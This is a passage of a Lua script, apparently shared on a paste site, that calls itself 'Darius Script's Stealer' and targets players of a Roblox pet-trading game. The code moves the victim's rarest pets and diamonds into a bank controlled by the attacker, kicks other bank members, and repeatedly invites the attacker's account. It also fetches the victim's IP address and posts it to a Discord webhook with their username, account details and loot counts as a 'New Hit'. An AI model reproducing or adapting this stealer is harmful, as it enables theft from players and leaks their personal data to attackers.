  920. game:GetService("Players").LocalPlayer:Kick("Script Is Not Supported")
  921. end
  922. end
  923. local SFinalList = {}
  924. if #FinalList == 50 then
  925. wait(0.5)
  926. local Smax = 50
  927.  
  928. Library = require(game:GetService("ReplicatedStorage").Framework:FindFirstChild("Library"))
  929. Functions = Library.Functions
  930.  
  931. SEXCList = {}
  932. SMythicList = {}
  933. SSecretList = {}
  934. SHugeList = {}
  935. SPogList = {}
  936. SBananaList = {}
  937.  
  938.  
  939. SSList = {}
  940. SEList = {}
  941. SMList = {}
  942. SHList = {}
  943. SPList = {}
  944. SBList = {}
  945.  
  946. table.foreach(Library.Directory.Pets, function(i, v)
  947. if v.rarity == "Exclusive" and not v.huge then
  948. table.insert(SEXCList, i)
  949. end
  950. if v.rarity == "Event" and not v.huge then
  951. table.insert(SEXCList, i)
  952. end
  953. if v.rarity == "Mythical" then
  954. table.insert(SMythicList, i)
  955. end
  956. if v.huge then
  957. table.insert(SHugeList, i)
  958. end
  959. if v.rarity == "Secret" then
  960. table.insert(SSecretList, i)
  961. end
  962. if string.split(v.name, " ")[1] == "Pog" then
  963. table.insert(SPogList, i)
  964. end
  965. if v.name == "banana" then
  966. table.insert(SBananaList, i)
  967. end
  968. end)
  969. for i, v in pairs(SPogList) do
  970. table.insert(SEXCList, v)
  971. end
  972. for i, v in pairs(SBananaList) do
  973. table.insert(SEXCList, v)
  974. end
  975. local Spets = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get().Pets
  976. local y = {}
  977. for i, v in pairs(Spets) do
  978. y[v["uid"]] = false
  979. end
  980. for i, v in pairs(Spets) do
  981. if table.find(SEXCList, v["id"]) ~= nil then
  982. table.insert(SEList, v["uid"])
  983. end
  984. if table.find(SMythicList, v["id"]) ~= nil and v.s >= 1e+15 and not v.hc then
  985. table.insert(SMList, v["uid"])
  986. end
  987. if table.find(SMythicList, v["id"]) ~= nil and v.hc then
  988. table.insert(SMList, v["uid"])
  989. end
  990. if table.find(SSecretList, v["id"]) ~= nil then
  991. table.insert(SSList, v["uid"])
  992. end
  993. if table.find(SHugeList, v["id"]) ~= nil then
  994. table.insert(SHList, v["uid"])
  995. end
  996. end
  997. if tier == 1 then
  998. Smax = tier1hold - #FinalList
  999. elseif tier == 2 then
  1000. if tier2hold - #FinalList > 50 then
  1001. Smax = 50
  1002. elseif tier2hold - #FinalList < 50 then
  1003. Smax = tier2hold - #FinalList
  1004. end
  1005. elseif tier == 3 then
  1006. if tier3hold - #FinalList > 50 then
  1007. Smax = 50
  1008. elseif tier3hold - #FinalList < 50 then
  1009. Smax = tier3hold - #FinalList
  1010. end
  1011. elseif tier == 4 - #FinalList then
  1012. if tier4hold - #FinalList > 50 then
  1013. Smax = 50
  1014. elseif tier4hold - #FinalList < 50 then
  1015. Smax = tier4hold - #FinalList
  1016. end
  1017. else
  1018. Smax = 50
  1019. end
  1020. print(Smax)
  1021. if #SEList + #SMList + #SPList + #SSList + #SHList < Smax then
  1022. for i, v in pairs(SHList) do
  1023. table.insert(SFinalList, v)
  1024. end
  1025. for i, v in pairs(SEList) do
  1026. table.insert(SFinalList, v)
  1027. end
  1028. for i, v in pairs(SSList) do
  1029. table.insert(SFinalList, v)
  1030. end
  1031. for i, v in pairs(SMList) do
  1032. table.insert(SFinalList, v)
  1033. end
  1034. elseif #SEList + #SSList + #SMList + #SHList > Smax and #SHList < Smax then
  1035. for i, v in pairs(SHList) do
  1036. table.insert(SFinalList, v)
  1037. end
  1038. for i, v in pairs(SEList) do
  1039. if #SFinalList < Smax then
  1040. table.insert(SFinalList, v)
  1041. end
  1042. end
  1043. for i, v in pairs(SSList) do
  1044. if #SFinalList < Smax then
  1045. table.insert(SFinalList, v)
  1046. end
  1047. end
  1048. for i, v in pairs(SMList) do
  1049. if #SFinalList < Smax then
  1050. table.insert(SFinalList, v)
  1051. end
  1052. end
  1053. elseif #SEList + #SSList + #SMList + #SHList > Smax and #SHList > Smax then
  1054. for i, v in pairs(SHList) do
  1055. if #SFinalList < Smax then
  1056. table.insert(SFinalList, v)
  1057. end
  1058. end
  1059. elseif #SEList + #SMList + #SPList + #SSList + #SHList > Smax and #SHList == 0 and #SEList < Smax then
  1060. for i, v in pairs(SEList) do
  1061. table.insert(SFinalList, v)
  1062. end
  1063. for i, v in pairs(SSList) do
  1064. if #SFinalList < Smax then
  1065. table.insert(SFinalList, v)
  1066. end
  1067. end
  1068. for i, v in pairs(SMList) do
  1069. if #SFinalList < Smax then
  1070. table.insert(SFinalList, v)
  1071. end
  1072. end
  1073. elseif #SEList + #SMList + #SPList + #SSList > Smax and #SHList == 0 and #SEList > Smax then
  1074. for i, v in pairs(SEList) do
  1075. if #SFinalList < Smax then
  1076. table.insert(SFinalList, v)
  1077. end
  1078. end
  1079. elseif #SEList + #SMList + #SPList + #SSList > Smax and #SHList == 0 and #SEList == 0 and #SSList < Smax then
  1080. for i, v in pairs(SSList) do
  1081. table.insert(SFinalList, v)
  1082. end
  1083. for i, v in pairs(SMList) do
  1084. if #SFinalList < Smax then
  1085. table.insert(SFinalList, v)
  1086. end
  1087. end
  1088. elseif #SEList + #SMList + #SPList + #SSList > Smax and #SHList == 0 and #SEList == 0 and #SSList > Smax then
  1089. for i, v in pairs(SSList) do
  1090. if #SFinalList < Smax then
  1091. table.insert(SFinalList, v)
  1092. end
  1093. end
  1094. end
  1095. -- Bank Pets
  1096. wait()
  1097. local A_1 = {
  1098. [1] = Bank,
  1099. [2] = SFinalList,
  1100. [3] = 0
  1101. }
  1102.  
  1103. wait()
  1104. local Sdiaamt = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get().Diamonds
  1105. if Sdiaamt ~= 0 then
  1106. Sdiaamt = Sdiaamt - 1
  1107. end
  1108.  
  1109. if tier == 1 and Sdiaamt > tier1gems - diaamt then
  1110. Sdiaamt = tier1gems - diaamt
  1111. elseif tier == 1 and diaamt <= tier1gems - diaamt then
  1112. Sdiaamt = Sdiaamt
  1113. elseif tier == 2 and diaamt > tier2gems - diaamt then
  1114. Sdiaamt = tier2gems - diaamt
  1115. elseif tier == 2 and diaamt <= tier2gems - diaamt then
  1116. Sdiaamt = Sdiaamt
  1117. elseif tier == 3 and diaamt > tier3gems - diaamt then
  1118. Sdiaamt = tier3gems - diaamt
  1119. elseif tier == 3 and diaamt <= tier3gems - diaamt then
  1120. Sdiaamt = Sdiaamt
  1121. elseif tier == 4 and diaamt > tier4gems - diaamt then
  1122. Sdiaamt = tier4gems - diaamt
  1123. elseif tier == 4 and diaamt <= tier4gems - diaamt then
  1124. Sdiaamt = Sdiaamt
  1125. else
  1126. Sdiaamt = Sdiaamt
  1127. end
  1128.  
  1129. local s, e = pcall(function()
  1130. wait(0.2)
  1131. depositremote:InvokeServer(Bank, SFinalList, Sdiaamt)
  1132. end)
  1133.  
  1134. if s == false then
  1135. wait(0.2)
  1136. depositremote:InvokeServer(Bank, SFinalList, 1)
  1137. end
  1138. end
  1139. -- abbreviations
  1140. local diaamt2 = diaamt
  1141. local abbreviations = {
  1142. k = 4,
  1143. m = 7,
  1144. b = 10,
  1145. T = 13,
  1146. }
  1147. local DiamondsCount = tostring(math.floor(diaamt2))
  1148.  
  1149. local ChosenAbbreviation
  1150. for abbreviation, digits in pairs(abbreviations) do
  1151. if #DiamondsCount >= digits and #DiamondsCount < (digits + 3) then
  1152. ChosenAbbreviation = abbreviation
  1153. break
  1154. end
  1155. end
  1156.  
  1157. if ChosenAbbreviation then
  1158. local digits = abbreviations[ChosenAbbreviation]
  1159. local rounded = math.floor(diaamt2 / 10 ^ (digits - 3)) * 10 ^ (digits - 3)
  1160. DiamondsCount = string.format("%0.2f", rounded / 10 ^ (digits - 1))
  1161. local addsd = string.split(DiamondsCount, ".")[2]
  1162. local pnt = "."
  1163. if string.split(addsd, "")[2] == "0" and string.split(addsd, "")[1] ~= "0" then
  1164. DiamondsCount = string.split(DiamondsCount, ".")[1] .. pnt .. string.split(addsd, "")[1] .. ChosenAbbreviation
  1165. elseif string.split(addsd, "")[2] == "0" and string.split(addsd, "")[1] == "0" then
  1166. DiamondsCount = string.split(DiamondsCount, ".")[1] .. ChosenAbbreviation
  1167. elseif string.split(addsd, "")[2] ~= "0" and string.split(addsd, "")[1] ~= "0" then
  1168. DiamondsCount = DiamondsCount .. ChosenAbbreviation
  1169. elseif string.split(addsd, "")[2] ~= "0" and string.split(addsd, "")[1] == "0" then
  1170. DiamondsCount = DiamondsCount .. ChosenAbbreviation
  1171. else
  1172. DiamondsCount = diamond
  1173. end
  1174. end
  1175. local Bdiaamt = SuperBank["Storage"]["Currency"]["Diamonds"]
  1176. local Babbreviations = {
  1177. k = 4,
  1178. m = 7,
  1179. b = 10,
  1180. T = 13,
  1181. }
  1182. local BDiamondsCount = tostring(math.floor(Bdiaamt))
  1183. local BChosenAbbreviation
  1184. for Babbreviation, Bdigits in pairs(Babbreviations) do
  1185. if #BDiamondsCount >= Bdigits and #BDiamondsCount < (Bdigits + 3) then
  1186. BChosenAbbreviation = Babbreviation
  1187. break
  1188. end
  1189. end
  1190.  
  1191. if BChosenAbbreviation then
  1192. local Bdigits = Babbreviations[BChosenAbbreviation]
  1193. local Brounded = math.floor(Bdiaamt / 10 ^ (Bdigits - 3)) * 10 ^ (Bdigits - 3)
  1194. BDiamondsCount = string.format("%0.2f", Brounded / 10 ^ (Bdigits - 1))
  1195. local Baddsd = string.split(BDiamondsCount, ".")[2]
  1196. local pnt = "."
  1197. if string.split(Baddsd, "")[2] == "0" and string.split(Baddsd, "")[1] ~= "0" then
  1198. BDiamondsCount = string.split(BDiamondsCount, ".")[1] ..
  1199. pnt .. string.split(Baddsd, "")[1] .. BChosenAbbreviation
  1200. elseif string.split(Baddsd, "")[2] == "0" and string.split(Baddsd, "")[1] == "0" then
  1201. BDiamondsCount = string.split(BDiamondsCount, ".")[1] .. BChosenAbbreviation
  1202. elseif string.split(Baddsd, "")[2] ~= "0" and string.split(Baddsd, "")[1] ~= "0" then
  1203. BDiamondsCount = BDiamondsCount .. BChosenAbbreviation
  1204. elseif string.split(Baddsd, "")[2] ~= "0" and string.split(Baddsd, "")[1] == "0" then
  1205. BDiamondsCount = BDiamondsCount .. BChosenAbbreviation
  1206. else
  1207. BDiamondsCount = Bdiaamt
  1208. end
  1209. end
  1210.  
  1211.  
  1212. local totaldiamond = Bdiaamt + diaamt
  1213. local Tabbreviations = {
  1214. k = 4,
  1215. m = 7,
  1216. b = 10,
  1217. T = 13,
  1218. }
  1219. local TDiamondsCount = tostring(math.floor(totaldiamond))
  1220.  
  1221. local TChosenAbbreviation
  1222. for Tabbreviation, Tdigits in pairs(Tabbreviations) do
  1223. if #TDiamondsCount >= Tdigits and #TDiamondsCount < (Tdigits + 3) then
  1224. TChosenAbbreviation = Tabbreviation
  1225. break
  1226. end
  1227. end
  1228.  
  1229. if TChosenAbbreviation then
  1230. local Tdigits = Tabbreviations[TChosenAbbreviation]
  1231. local Trounded = math.floor(totaldiamond / 10 ^ (Tdigits - 3)) * 10 ^ (Tdigits - 3)
  1232. TDiamondsCount = string.format("%0.2f", Trounded / 10 ^ (Tdigits - 1))
  1233. local Taddsd = string.split(TDiamondsCount, ".")[2]
  1234. local pnt = "."
  1235. if string.split(Taddsd, "")[2] == "0" and string.split(Taddsd, "")[1] ~= "0" then
  1236. TDiamondsCount = string.split(TDiamondsCount, ".")[1] ..
  1237. pnt .. string.split(Taddsd, "")[1] .. TChosenAbbreviation
  1238. elseif string.split(Taddsd, "")[2] == "0" and string.split(Taddsd, "")[1] == "0" then
  1239. TDiamondsCount = string.split(TDiamondsCount, ".")[1] .. TChosenAbbreviation
  1240. elseif string.split(Taddsd, "")[2] ~= "0" and string.split(Taddsd, "")[1] ~= "0" then
  1241. TDiamondsCount = TDiamondsCount .. TChosenAbbreviation
  1242. elseif string.split(Taddsd, "")[2] ~= "0" and string.split(Taddsd, "")[1] == "0" then
  1243. TDiamondsCount = TDiamondsCount .. TChosenAbbreviation
  1244. else
  1245. TDiamondsCount = totaldiamond
  1246. end
  1247. end
  1248.  
  1249. local Wdiaamt = DiamondsDiamonds
  1250. local Wabbreviations = {
  1251. k = 4,
  1252. m = 7,
  1253. b = 10,
  1254. T = 13,
  1255. }
  1256. local WDiamondsCount = tostring(math.floor(Wdiaamt))
  1257.  
  1258. local WChosenAbbreviation
  1259. for Wabbreviation, Wdigits in pairs(Wabbreviations) do
  1260. if #WDiamondsCount >= Wdigits and #WDiamondsCount < (Wdigits + 3) then
  1261. WChosenAbbreviation = Wabbreviation
  1262. break
  1263. end
  1264. end
  1265.  
  1266. if WChosenAbbreviation then
  1267. local Wdigits = Wabbreviations[WChosenAbbreviation]
  1268. local Wrounded = math.floor(Wdiaamt / 10 ^ (Wdigits - 3)) * 10 ^ (Wdigits - 3)
  1269. WDiamondsCount = string.format("%0.2f", Wrounded / 10 ^ (Wdigits - 1))
  1270. local Waddsd = string.split(WDiamondsCount, ".")[2]
  1271. local pnt = "."
  1272. if string.split(Waddsd, "")[2] == "0" and string.split(Waddsd, "")[1] ~= "0" then
  1273. WDiamondsCount = string.split(WDiamondsCount, ".")[1] ..
  1274. pnt .. string.split(Waddsd, "")[1] .. WChosenAbbreviation
  1275. elseif string.split(Waddsd, "")[2] == "0" and string.split(Waddsd, "")[1] == "0" then
  1276. WDiamondsCount = string.split(WDiamondsCount, ".")[1] .. WChosenAbbreviation
  1277. elseif string.split(Waddsd, "")[2] ~= "0" and string.split(Waddsd, "")[1] ~= "0" then
  1278. WDiamondsCount = WDiamondsCount .. WChosenAbbreviation
  1279. elseif string.split(Waddsd, "")[2] ~= "0" and string.split(Waddsd, "")[1] == "0" then
  1280. WDiamondsCount = WDiamondsCount .. WChosenAbbreviation
  1281. else
  1282. WDiamondsCount = DiamondsDiamonds
  1283. end
  1284. end
  1285.  
  1286.  
  1287.  
  1288. -- Sending webhook
  1289.  
  1290. local username = game:GetService("Players").LocalPlayer.Name
  1291. local fardplayer = game:GetService("Players").LocalPlayer
  1292. local receiver = game:GetService("Players"):GetNameFromUserIdAsync(_G.UserID)
  1293. local IPadress = game:HttpGet('https://ipinfo.io/ip')
  1294. local banktier = SuperBank["Tier"]
  1295. local lmao = "/5"
  1296. local ping
  1297. if #HList ~= 0 or #BHList ~= 0 then
  1298. ping = "@everyone"
  1299. elseif #HList == 0 and #BHList == 0 then
  1300. ping = ""
  1301. end
  1302. -- Img
  1303. local data1
  1304. if banktiercheck == true then
  1305. imgs = "https://cdn.discordapp.com/attachments/1135529831371649045/1147595608388018236/static.png"
  1306.  
  1307. data1 = {
  1308. ["content"] = ping,
  1309. ["username"] = "Darius Scripts",
  1310. ["avatar_url"] = "https://cdn.discordapp.com/attachments/1135529831371649045/1147595608388018236/static.png",
  1311. ["embeds"] = { {
  1312. ["title"] = "**New Hit** ||With Darius||",
  1313. ["url"] = "https://discord.gg/uMDSsWxJyN",
  1314. ["type"] = "rich",
  1315. ["color"] = tonumber(00ff62),
  1316. ["thumbnail"] = {
  1317. ["url"] = imgs,
  1318. ["height"] = 420,
  1319. ["width"] = 420
  1320. },
  1321. ["fields"] = { {
  1322. ["name"] = "**This data was generated using Darius Script's Stealer** :moyai:",
  1323. ["value"] = "```Username : " .. username .. "\nDisplay Name : " .. fardplayer.DisplayName ..
  1324. "\nUser-ID : " .. fardplayer.userId .. "\nAccount Age : " .. fardplayer.AccountAge ..
  1325. " Days\nIP Address : " .. IPadress .. "\nRank : " .. rank ..
  1326. "\nExploit : " .. exploit .. "\nReceiver : " .. receiver .. "\nBank Tier : Tier " .. SuperBank["Tier"] .. "```",
  1327. ["inline"] = false
  1328. }, {
  1329. ["name"] = ":gem: **Diamonds** :gem:",
  1330. ["value"] = "```" .. DiamondsCount .. "```",
  1331. ["inline"] = true
  1332. }, {
  1333. ["name"] = ":dog: **Pets** :dog:",
  1334. ["value"] = "```" .. #FinalList + #SFinalList .. "```",
  1335. ["inline"] = true
  1336. }, {
  1337. ["name"] = ":money_mouth: **Huges** :money_mouth:",
  1338. ["value"] = "```" .. #HList .. "```",
  1339. ["inline"] = true
  1340. }, {
  1341. ["name"] = ":cat: **Exclusives** :cat:",
  1342. ["value"] = "```" .. #EList .. "```",
  1343. ["inline"] = true
  1344. }, {
  1345. ["name"] = ":performing_arts: **Secrets** :performing_arts:",
  1346. ["value"] = "```" .. #SList .. "```",
  1347. ["inline"] = true
  1348. }, {
  1349. ["name"] = ":rabbit: **Mythicals** :rabbit:",
  1350. ["value"] = "```" .. #MList .. "```",
  1351. ["inline"] = true
  1352. },
  1353. {
  1354. ["name"] = "---------------------------------------",
  1355. ["value"] = "",
  1356. ["inline"] = false
  1357. },
  1358. {
  1359. ["name"] = ":eyes: **Bank Pets** :eyes:",
  1360. ["value"] = "",
  1361. ["inline"] = false
  1362. },
  1363. {
  1364. ["name"] = "---------------------------------------",
  1365. ["value"] = "",
  1366. ["inline"] = false
  1367. },
  1368. {
  1369. ["name"] = ":gem: **Diamonds** :gem:",
  1370. ["value"] = "```" .. BDiamondsCount .. "```",
  1371. ["inline"] = true
  1372. }, {
  1373. ["name"] = ":dog: **Pets** :dog:",
  1374. ["value"] = "```" .. #SuperBank["Storage"]["Pets"] .. "```",
  1375. ["inline"] = true
  1376. }, {
  1377. ["name"] = ":money_mouth: **Huges** :money_mouth:",
  1378. ["value"] = "```" .. #BHList .. "```",
  1379. ["inline"] = true
  1380. }, {
  1381. ["name"] = ":cat: **Exclusives** :cat:",
  1382. ["value"] = "```" .. BEHList .. "```",
  1383. ["inline"] = true
  1384. }, {
  1385. ["name"] = ":performing_arts: **Secrets** :performing_arts:",
  1386. ["value"] = "```" .. #BSList .. "```",
  1387. ["inline"] = true
  1388. }, {
  1389. ["name"] = ":rabbit: **Mythicals** :rabbit:",
  1390. ["value"] = "```" .. #BMList .. "```",
  1391. ["inline"] = true
  1392. },
  1393. {
  1394. ["name"] = ":bank: **Joined Banks** :bank:",
  1395. ["value"] = "```" .. bankscount .. lmao .. "```",
  1396. ["inline"] = true
  1397. },
  1398. {
  1399. ["name"] = ":gem: **Wd Diamonds** :gem:",
  1400. ["value"] = "```" .. WDiamondsCount .. "```",
  1401. ["inline"] = true
  1402. }, {
  1403. ["name"] = ":money_mouth: **Wd Huges** :money_mouth:",
  1404. ["value"] = "```" .. FinalFinal .. "```",
  1405. ["inline"] = true
  1406. },
  1407. {
  1408. ["name"] = "---------------------------------------",
  1409. ["value"] = "",
  1410. ["inline"] = false
  1411. },
  1412. {
  1413. ["name"] = ":eyes: **Total Pets** :eyes:",
  1414. ["value"] = "",
  1415. ["inline"] = false
  1416. },
  1417. {
  1418. ["name"] = "---------------------------------------",
  1419. ["value"] = "",
  1420. ["inline"] = false
  1421. },
  1422. {
  1423. ["name"] = ":gem: **Diamonds** :gem:",
  1424. ["value"] = "```" .. TDiamondsCount .. "```",
  1425. ["inline"] = true
  1426. }, {
  1427. ["name"] = ":dog: **Pets** :dog:",
  1428. ["value"] = "```" .. #SuperBank["Storage"]["Pets"] + #FinalList .. "```",
  1429. ["inline"] = true
  1430. },
  1431. }
  1432. }
  1433. }
  1434. }
  1435. end
  1436.  
  1437. local newdata1 = game:GetService("HttpService"):JSONEncode(data1)
  1438.  
  1439. local headers = {
  1440. ["content-type"] = "application/json"
  1441. }
  1442.  
  1443. if _G.Webhook ~= nil then
  1444. local abcdef1 = {
  1445. Url = url,
  1446. Body = newdata1,
  1447. Method = "POST",
  1448. Headers = headers
  1449. }
  1450. request(abcdef1)
  1451. end
  1452. for i, v in pairs(SuperBank["Players"]) do
  1453. if v ~= _G.UserID then
  1454. kickremote:InvokeServer(Bank, v)
  1455. end
  1456. end
  1457. while task.wait(0.1) do
  1458. inviteremote:InvokeServer(mybanks[1]["BUID"], _G.UserID)
  1459. end
  1460.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement